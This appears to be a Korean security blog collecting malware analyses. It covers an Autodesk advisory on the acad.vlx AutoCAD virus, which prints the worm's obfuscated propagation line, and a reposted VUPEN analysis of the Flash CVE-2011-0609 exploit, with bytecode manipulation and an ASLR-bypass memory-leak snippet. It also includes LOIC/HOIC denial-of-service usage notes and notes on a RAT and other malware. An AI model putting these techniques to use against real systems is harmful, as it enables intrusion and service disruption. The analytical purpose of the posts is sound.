posted by 블르샤이닝 2012. 1. 27. 14:14
728x90


게시 일자: 2010-03-25
ID: TS13717811  

적용 제품:
AutoCAD® 2011
AutoCAD® 2010
AutoCAD® 2009
AutoCAD® 2008
AutoCAD® 2007
AutoCAD® Architecture 2011
AutoCAD® Architecture 2010
AutoCAD® Architecture 2009
AutoCAD® Architecture 2008
Autodesk® Architectural Desktop 2007
AutoCAD® Civil 2010
AutoCAD® Civil 2009
AutoCAD® Civil 3D® 2011
AutoCAD® Civil 3D® 2010
AutoCAD® Civil 3D® 2009
AutoCAD® Civil 3D® 2008
Autodesk® Civil 3D® 2007
AutoCAD® Electrical 2011
AutoCAD® Electrical 2010
AutoCAD® Electrical 2009
AutoCAD® Electrical 2008
AutoCAD® Electrical 2007
AutoCAD® Map 3D 2011
AutoCAD® Map 3D 2010
AutoCAD® Map 3D 2009
AutoCAD® Map 3D 2008
Autodesk Map® 3D 2007
AutoCAD® Mechanical 2011
AutoCAD® Mechanical 2010
AutoCAD® Mechanical 2009
AutoCAD® Mechanical 2008
AutoCAD® Mechanical 2007
AutoCAD® MEP 2011
AutoCAD® MEP 2010
AutoCAD® MEP 2009
AutoCAD® MEP 2008
AutoCAD® P&ID 2011
AutoCAD® P&ID 2010
AutoCAD® P&ID 2009
AutoCAD® P&ID 2008
AutoCAD® Raster Design 2010
AutoCAD Raster Design 2009
AutoCAD Raster Design 2008
Autodesk® Raster Design 2007

문제
AutoCAD 기반 제품의 사용자가 도면 손상을 일으키는 악성 acad.vlx 파일을 보고했습니다.

해결 방법
이 파일은 Autodesk에서 제공한 실제 AutoCAD 파일이 아닙니다. 악성 acad.vlx 파일이 AutoCAD에 로드되면 도면을 손상시키고, 그 결과 도면을 저장한 후 다시 열 때 언어팩 누락 대화상자가 표시될 수 있습니다.

acad.vlx 파일은 Help 폴더에 동일 사본을 생성합니다(예: C:\Program Files\AutoCAD 20xx\Help\logo.gif). 또한 다른파일들을 손상시키고ACADLSPASDOC 시스템 변수를 1로 설정하여열려 있는 다른 도면에acad.vlx 파일이로드되게 하여 해당 도면을 손상시킵니다.

바이러스 확산을 방지하려면, AutoCAD가 파일 로드를 시도하기 전에 모든 acad.vlx 파일을 검색하여 삭제합니다.

추가 파일 손상을 방지하려면
반드시 Microsoft® Windows®의 관리자계정으로 다음의 절차를 진행하시기 바랍니다.

  1. 제품 설치 폴더에서 Support 폴더를 찾습니다(예: C:\Program Files\AutoCAD 20xx\Support). 
  2. Support 폴더에서 acad20xx.lsp 파일을 더블 클릭합니다(예: acad20xx.lsp 파일). 이 파일에 아래의 코드를 추가합니다. AutoCAD가 acad.vlx 및 logo.gif 파일을 검색하여 삭제하게 됩니다.

    (defun cleanvirus( / lspfiles lspfile x)
      (setq lspfiles '("acad.vlx" "logo.gif"))
      (foreach lspfile lspfiles 
        (while (setq x (findfile lspfile))
          (progn
            (vl-file-delete x)
            (princ "\nDeleted file ")
            (princ x)
          );progn
        );while
      );foreach
    )
    (cleanvirus)
  3. 다음의 각 파일을 엽니다. 
    -C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp 
    -C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp 
    -ROAMABLEROOTPREFIX\Support\acad.mnl
     중요: ROAMABLEROOTPREFIX 시스템 변수에 의해 반환된 값으로 ROAMABLEROOTPREFIX를 대체하십시오.
  4. 만약 다음과 같은 코드가 있으면, 삭제하시기 바랍니다.

    (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
  5. 각 파일을 저장합니다.

Autodesk는 성공적인 다운로드를 보증하거나 서비스 팩이나 해결 방법 또는 Autodesk 제품 지원 기술 문서에 기술된 팁, 트릭, 예제, 제안의 구현을 보증하지 않습니다. 기술 문서, 서비스 팩 및 해결 방법은 예고 없이 변경될 수 있습니다. Autodesk는 상업성과 특정 목적에의 적합성에 대한 보증을 포함하여 명시적 또는 묵시적인 어떠한 보증도 없이 기술 문서, 서비스 팩 및 해결 방법을 "있는 그대로" 제공합니다. 어떠한 경우에도 Autodesk 또는 그 공급자는 서비스 팩이나 해결 방법 또는 Autodesk 제품 지원 기술 문서에 기술된 제안의 구현 결과로 발생할 수 있는 직접적, 간접적, 우발적, 결과적 데이터 손실이나 사업 이익 손실 또는 특수한 손해를 포함한 어떠한 손해에 대해서도 책임을 지지 않습니다. 이는 Autodesk 또는 그 공급자가 그러한 손해의 가능성을 사전에 알고 있었던 경우에도 마찬가지입니다.

728x90
posted by 블르샤이닝 2012. 1. 12. 12:09
728x90

Hi everyone,

Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays! 

As we had a copy of the SWF malware sample embedded in Excel files, it was a great opportunity to go deeper into Flash's JIT code and test recent Haifei Li's [1] methods to exploit Flash vulnerabilities on Windows 7 and to bypass ASLR/DEP via IEEE-754.

In this blog, we will share our binary analysis of the vulnerability and how we achieved a reliable exploitation on Windows 7 with ASLR/DEP bypass.

1. Technical Analysis of the Vulnerability

Based on 'crsenvironscan.xls' and 'addLabel.swf' spotted by Bugix [2], it was not that difficult to get a simplified repro. Actually, it seemed that the one who designed this exploit did not even care to simplify his proof-of-concept since more than 100 differences existed between the safe ABC section and the evil one.

After having loaded the FLA source used to compile 'addLabel.swf', we figured out that the root cause of the vulnerability came from an invalid jump location read from an 'if' statement.

By specifically manipulating jump sequences in an Action Script byte code, it is possible to force the JIT code to do an "object confusion". Specifically, it is possible to generate a valid byte code in which the same property or method could be accessed by two different objects. 

The following harmless code will be used to demonstrate the vulnerability:
 

 
package poc {

        public class safe {

                public function bla():ByteArray {
                        return new ByteArray();
                }

                public function safe() {
                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                        t.length;
                }

        }
}
 

First of all, let's see how the AS3 is compiled:

 
function poc::safe():* 
{
        0 getlocal0 
        1 pushscope 
        2 pushnull 
        3 coerce flash.utils::ByteArray
        5 setlocal1 
        6 pushnull 
        7 coerce_s 
        8 setlocal2 
        9 getlocal0 
        10 constructsuper (0)               // var tl:ByteArray
        12 pushbyte 1
        14 pushbyte 0
        16 ifne L1 //if (1 == 0)

        20 findpropstrict bla
        22 callproperty bla (0)
        25 coerce flash.utils::ByteArray // tl = bla()
        27 jump L2

        L1: 
        31 pushbyte 1
        33 pushbyte 0
        35 ifne L3 //if (1 == 0)

        39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray // tl = bla()
        46 jump L2

        L3: 
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray // tl = bla()

        L2: 
        57 coerce flash.utils::ByteArray
        59 setlocal1 
        60 pushstring "AAAAA&AAAA"
        62 setlocal2 
        63 getlocal2 
        64 getproperty length               // t.length
        66 pop 
        67 returnvoid 
}

 

As we can see, label L2 can only be reached after having executed "coerce flash.utils::ByteArray" which pushes a ByteArray object on the stack.

Now let's change the jump target at line 46 and make it point to line 62. This gives the following result: 

 
        39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray
        46 jump L4

        L3: 
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray

        L2: 
        57 coerce flash.utils::ByteArray
        59 setlocal1 
        60 pushstring "AAAAA&AAAA"

        L4: 
        62 setlocal2 
        63 getlocal2 
        64 getproperty length
        66 pop 
        67 returnvoid 
 

As we can see, if Flash reaches line 39, it pushes a "ByteArray" object on the stack and jumps to line 62 where it calls the "length" property. This modification is accepted by the Verifier since "String" and "ByteArray" objects share indeed a "length" property. This would have failed for example with the "ByteArray.endian" property since "String" objects do not implement such a property. 

The atom confusion typically occurs here. The resulting JIT code to call the "length" property is actually designed for a "String" object, and not for a "ByteArray" object. Let's see now how "String" and "ByteArray" objects are represented in memory.

The "String" object represented on Figure 1 begins with a dword pointing to a VTable and contains a pointer to the string at offset +8. Notice also that its length is recorded at offset +10h:


Figure 1 - String object representation

A "ByteArray" object is more complex (Figure 2). The data contained in the array can be found by dereferencing the pointer at offset +10h and then dereferencing the pointer at +24h. The length of the object is this time recorded at offset +44h:


Figure 2 - ByteArray object representation

As a result, Flash does not use the same JIT code to get the value of the "length" property. Figure 3 shows the code getting the length of a String. Basically, Flash pushes the String object to the stack and then reads the dword at offset 10h (not shown here):


Figure 3 - Call for String.length

Figure 4 shows the lines needed to get "ByteArray.length". This piece of code is different because Flash dereferences at offset +8 a pointer to an object to control the call at 0x0187CD74:


Figure 4 - Call for ByteArray.length

As a result, if an object confusion occurs between the "ByteArray" and the "String" objects, two different behaviours may occur. If the JIT code is designed for a "String" object, "call eax" returns the pointer located at offset +10h, which equals 0x01345118 in this particular case. This can then be used to disclose a pointer to an attacker. On the other hand, if the JIT code is designed for a "ByteArray" object, the following occurs (Figure 5):


Figure 5 - Call for ByteArray.length with object confusion

2. Advanced Exploitation on Windows 7 (ASLR/DEP Bypass via IEEE-754)

How to exploit this issue on Windows 7 and bypass DEP and ASLR? Not so easy, even if you attended Haifei Li's talk at CanSecWest or saw his slides.

The first step consists in reading the pointer at offset +10h in the "ByteArray" object. In the next example, this pointer equals 0x0518C0B8 (see Figure 6). Since this pointer is located in the Flash heap, it cannot be directly used to disclose the Flash module base address. 

However the object at this location has at least two interesting pointers. The first one (offset 0) points to the ".rdata" section of "Flash10n_ocx". Knowing this value is enough to get the module base address, since it is located at +0x00555710 in "Flash10n_ocx". Besides, the pointer at offset +24h points to the content of the "ByteArray", so knowing this value makes the attacker knows where is its shellcode.


Figure 6 - Data located at 0x0518C0B8

How to read data at 0x0518C0B8? Here comes the trick of IEEE-754. A Number object can be instantiated by the following line:

 
var n:Number = new Number(123.456);
 

By doing so, Flash builds an IEEE-754 representation of 123.456 in memory which is then encoded on 8 bytes. Moreover, the next syntax makes Flash build a Number according to the content of the object submitted:

 
var o;
var n:Number = new Number(o);

 

As a result, if the exploit writer manages to confuse Flash by using 0x0518C0B8 instead of an object, it becomes possible to read the 8 bytes located at 0x0518C0B8 (p):

 
var o = p;
var z:Number = new Number(o);       // z is the IEEE-754 representation of 04 B9 57 08 04 B9 57 10!

var b:ByteArray = new ByteArray();
b.writeDouble(z);
var res:uint;
res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];
this.flashBase = res - 0x555710;       // return Flash10n.ocx base address

 

Obviously, the same can be done with the pointer at offset +24h, to read the address of the byte array. 

Using this memory disclosure method, we have created a highly reliable exploit for Windows 7 (and Vista/XP) with ASLR and DEP bypass, and without heap spraying or a statically loaded module, and without JavaScript.

© Copyright VUPEN Security

Previous Research Blog Entries

2010-12-21: Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability
2010-10-18: Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit 
2010-09-09: Technical Analysis of the Adobe Acrobat / Reader Buffer Overflow 0-Day Exploit


728x90
posted by 블르샤이닝 2011. 12. 30. 16:51
728x90
scvhost 는 svchost 파일명과 유사한 악성코드로 오늘 리버싱 스터디를 같이 진행하면서 알게된 정보를 아주 간략하게 글로 쓰겠다

해당 파일은 

1. 안티바이러스 기능
  - 백신의 레지스트리 및 드라이버 파일로 생성된 안티백신으로 해당 백신의 기능을 죽여버린다. 
  - 또한 IE를 통한 인터넷 창에서 검색시 해당 스트링이 제목표시줄(?)에 뜨게되면 IE를 종료시켜 버린다.

2. 게임 탈취
 - 게임계정이 등록되어 게임 계정을 탈취

3. 자기보호
 - 자기보호를 하여 삭제 및 권한자체를 없애버려 파일의 삭제를 막아버린다. 
 - Taskmanger의 호출을 막아 작업관리자 창이 뜨지 못하게 한다.

4. 파일이름이 바뀌엇다면 자기를 복사하여 scvhost로 생성한다.
(먼저 windows 밑에 랜덤한 숫자폴더 및에 해당 파일이 존재하며 이를 찾기 어려울시 cmd에서 regedit으로 run부분을 찾으면 해당경로의 파일이 자동실행되도록 하게 되어있는것을 확인 할 수 있다. gmer로 강제 삭제해주면된다. 뿐만아니라 스케줄러 쪽에도 해당 파일이 스케줄러에 써져있다. 제어판에서 확인가능하다.)

5. 특정 주소에서 다른 악성코드를 downloader 한다.

이 파일을 삭제하는것은 쥐머 나 아이스스워드, xcure(?맞나?ㅋㅋ) 를 이용해 루트킷 제거파일로 force delete 기능으로 삭제한다.





728x90

'분석 > 악성파일 분석' 카테고리의 다른 글

해외 악성파일  (0) 2012.02.03
Acad.vlx 바이러스 정리  (0) 2012.01.27
해외 ddos bot 업데이트  (0) 2011.12.15
유명 연예인 동영상 악성코드 배포  (0) 2011.12.08
XUETR 0.44 버젼  (0) 2011.11.15
posted by 블르샤이닝 2011. 12. 21. 21:41
728x90
DOS란???DOS[Denial of Service]
 시스템을 악의적으로 공격해 해당 시스템의 자원을 부족하게 하여 원래 의도된 용도로 사용하지 못하게 하는 공격이다. 특정 서버에게 수많은 접속 시도를 만들어 다른 이용자가 정상적으로 서비스 이용을 하지 못하게 하거나, 서버의 TCP 연결을 바닥내는 등의 공격이 이 범위에 포함된다. 수단, 동기, 표적은 다양할 수 있지만, 보통 인터넷 사이트 또는 서비스의 기능을 일시적 또는 무기한으로 방해 또는 중단을 초래한다.
 이는 IAB의 정당한 인터넷 사용 정책에 반하는 것으로 여겨지며 거의 모든 인터넷 서비스 공급자의 허용할 수 있는 사용 정책도 위반한다. 또한 개별 국가의 법률에도 저촉된다. 


해당 툴은 두가지이며

Low_Orbit_Ion_Cannon
High_Orbit_Ion_Cannon 

------------------------------------------------------------------------
 이 툴에 대한 소개를 해보도록 하겠다.

1. High_Orbit_Ion_Cannon 


해당 화면의 툴 모습이며 매우 간단한 구조로 되어 있다. 두가지 스트립트 구성으로 선택할 수 있으며 ip 주소를 127.0.0.1 로 하여 패킷을 발생시켜 보았다.


대략 1초당 100개가 넘는 패킷의 요청이 나가는것을 확인 할 수 있었다. 만약 이러한 패킷을 100이상이 된다면 그 패킷의 요청은 실로 엄청날 것이다. 또한 부스터라는 기능이 존재하여 더욱더 빠르게 패킷이 나가게 되는 기능을 제공하게 되는데, 다음은 해당 기능에 대한 설명을 참조한 것이다.

booster -> This is a global variable that contains the contents of the current script (string)
Headers -> This is a global variable that is an array of strings, and will be used to form headers in requests sent to the target URL.  To add a header, simply do something like this:
Headers.Append("User-Agent: penis") or Headers.Append("User-Agent: penis x" + CStr(powerFactor)

lbIndex -> Index into list box (cant really be used outside of the program, useless to developers)
PostBuffer -> String buffer containig post paramets, ie PostBuffer = "lol=2&lolxd=5"
powerFactor -> Integer from 0-2, 0 being low, 1 being medium , 2 being high
totalbytessent -> a count of the number of bytes sent to the target already (presistent across each attack)
URL -> url to attack
UsePost -> boolean, true = uses post, otherwise itll use get

해당툴의 특징은 매우 간단하여 누구나 기본적인 공격이 가능하도록 구성되어있으며 
스크립트의 내용을 수정함으로써 패킷의 내용 구성을 바꾸어서 패킷의 내용이 다르게 패킷을 보내 공격을 할 수 있다는 것이다.
----------------------------------------------------------------------------------

Low_Orbit_Ion_Cannon

2번째로 소개할 툴은 같은 형제같은 기능의 툴로 아까 보다는 좀 더 가양한 옵션의 기능이 있지만 패킷의 전송은 다소 느린형태의 dos툴이될것이다. 해당 옵션을 보면
1. url주소와 ip 주소를 입력하는 형태
2. 툴의 시작과 정지
3. 공격옵션 (패킷에 들어갈 메시지형태와 타임아웃 플래그의 옵션, 포트번호와 발생할 쓰래드 갯수, 패킷의 발생되는 속도 등을 설정하게 된다. 



  해당 툴의 버젼은 최신버젼이 1.1.1.14이며 최신버젼은 irc 서버를 통한 명령이 가능하다.

두개의 툴은 각 특징을 가지고 있으며 모 해킹그룹에서 쓰인 공격용 툴인것으로 알려 져 있다. 

UDP Attack: To perform the UDP attack, select the method of attack as UDP. It has port 80 as the default option selected, but you can change this according to your need. Change the message string or leave it as the default.

TCP Attack: This method is similar to UDP attack. Select the type of attack as TCP to use this.

HTTP Attack: In this attack, the tool sends HTTP requests to the target server. A web application firewall can detect this type of attack easily.
 

How to use LOIC to perform a Dos attack: Just follow these simple steps to enact a DOS attack against a website (but do so at your own risk). 

Here’s the meaning of each field:

  • IDLE: It shows the number of threads idle. It should be zero for higher efficiency of the attack.
  • Connecting: This shows the number of threads that are trying to connect to the victim server.
  • Requesting: This shows the number of threads that are requesting some information from the victim server.
  • Downloading: This shows the number of threads that are initiating some download for some information from the server.
  • Downloaded: This number shows how many times data downloading has been initiated from victim server on which you are attacking.
  • Requested: This number shows how many times a data download has been requested from victim server.
  • Failed: This number shows how many times the server did not respond to the request. A larger number in this field means the server is going down. The success of the attack can be measured by the number shown in this field.
 이러한 공격툴은 그리 어려운 기능을 요구하는것은 아니다. 문제는 이러한 공격툴을 이용한 공격을 누구나 쉽게 이용할 수 있고 사용되어왔다는 것이다. 서비스 분산공격은 2010년 이슈가 되었던 공격이며 이러한 공격으로 기업의 서비스를 방해하고 금품을 요구한 상황이 많이 발생했었던 것이다. 


728x90
posted by 블르샤이닝 2011. 12. 15. 20:11
728x90

해외 블로그를 토대로 샘플 구한 후 업데이트

링크 : http://onthar.in/articles/yzf-ddos-bot-analysis/#.TukP9M2ye1s.twitter

진단명 : Trojan.Win32.S.DDoS-Agent.51712


해당내용은 분석중~ㅎ

------------------------

파일의 경로를 처음에 위치에서 아래의 위치로 이동


explorer.exe 에 team x.exe 파일을 로드한다.


네트워크 패킷이 나가지만 해당파일에서는 해당 주소를 찾을 수 없다..아무래도 encoding 되어서 작업을 하는데....이건 좀 더 봐야할것같다

방화벽 정책 우회를 위한 리스트 추가


728x90

'분석 > 악성파일 분석' 카테고리의 다른 글

Acad.vlx 바이러스 정리  (0) 2012.01.27
scvhost 파일의 정보  (0) 2011.12.30
유명 연예인 동영상 악성코드 배포  (0) 2011.12.08
XUETR 0.44 버젼  (0) 2011.11.15
jar 파일 코드 분석할때 쓰는 툴  (0) 2011.10.10
posted by 블르샤이닝 2011. 12. 9. 12:03
728x90
안녕하세요 후후 곧 2011년이 끝나는군요.....이번년도는 거의 RAT의 풍년이라할만큼 해킹사고가 많았군요..줴길.... 이번에 RAT용 공개 툴을 구하게 되어서 테스트 해보니....잘만들고 환경도 좋더군요~_~(이런 능력자들) 그냥.........끄적여봅니다 ㅎㅎ 

(의외로 그림편집은 너무 힘듬;;;;ㅠㅠ)

다음과 같은 vm 환경에서 ip 주소로 127.0.0.1 로 하여서 봇을 만들고 c&c 서버를 확인하니 국적과 아이피 주소 포트 외에 캠 정보와 다양한 정보들이 나온다. 호오....깔끔해서 좋다..보기 ㅎㅎ


다음은 여러 기능들은 실행했을때의 모습이다. 여기서 지원하는 기능은 키로그 기록과 네트워크 패킷의 동작, 시스템 환경 정보, 네트워크 패킷의 포트 , 텔넷, 웹캠(이건 기능이 좀 특이하네) 뷰어 등을 지원하며 아래 그림은 내가 jo.exe파일을 생성하여 bot을 토대로 가상 테스트를 해본 모습이다. 캠의 유무를 확인하고 키로그에서는 cmd 창에서 입력한 값들이 보이고 텔넷은 접속확인이 되지 않는것을 확인하였다. 또한 프로세스 정보를 토대로 확인한다.



728x90
posted by 블르샤이닝 2011. 12. 8. 15:00
728x90

안녕하세요 오랜만에 글 올리는 군요 

근래 이슈로 한00 동영상이였는데 이를 이용한 악성코드가 배포중인것을 파악했습니다.

해당 링크 접속을 하지 않기를 당부합니다

네이버 까페나 블러그 리플에 있는 주소를 이용한 배포이며 http://66.xx/한00%20아나운서%202분50초짜리.zip 의 링크도 배포중이며


파일 다운시 다음과 같은 압축파일이 나오며 안에는 사진파일과 exe파일이 존재한다. 여기서 exe 파일을 실행시 악성파일의 배포가 진행되는데

%system32%netdrvsrty.exe 파일과 %system32%netsecurity.exe 파일이 악성기능을 하게 된다. 하나는 dropper 형태의 파일이고 하나는 네트워크

 접속을 시도하는 파일로 포트 주소를 하나씩 올려가며 네트워크 동작을 시도한다.(해당경로는 삭제하였습니다..왜이리 악성이라는데 호기심 많은 사람들이 접속할까봐 내립니다.)



해당 링크에 대해 조심하시길 바랍니다. 이상~

자세한 분석은 천천히 올리도록하겠습니다


728x90

'분석 > 악성파일 분석' 카테고리의 다른 글

scvhost 파일의 정보  (0) 2011.12.30
해외 ddos bot 업데이트  (0) 2011.12.15
XUETR 0.44 버젼  (0) 2011.11.15
jar 파일 코드 분석할때 쓰는 툴  (0) 2011.10.10
OTP 해킹 툴 제거기 - 마비노기  (0) 2011.10.08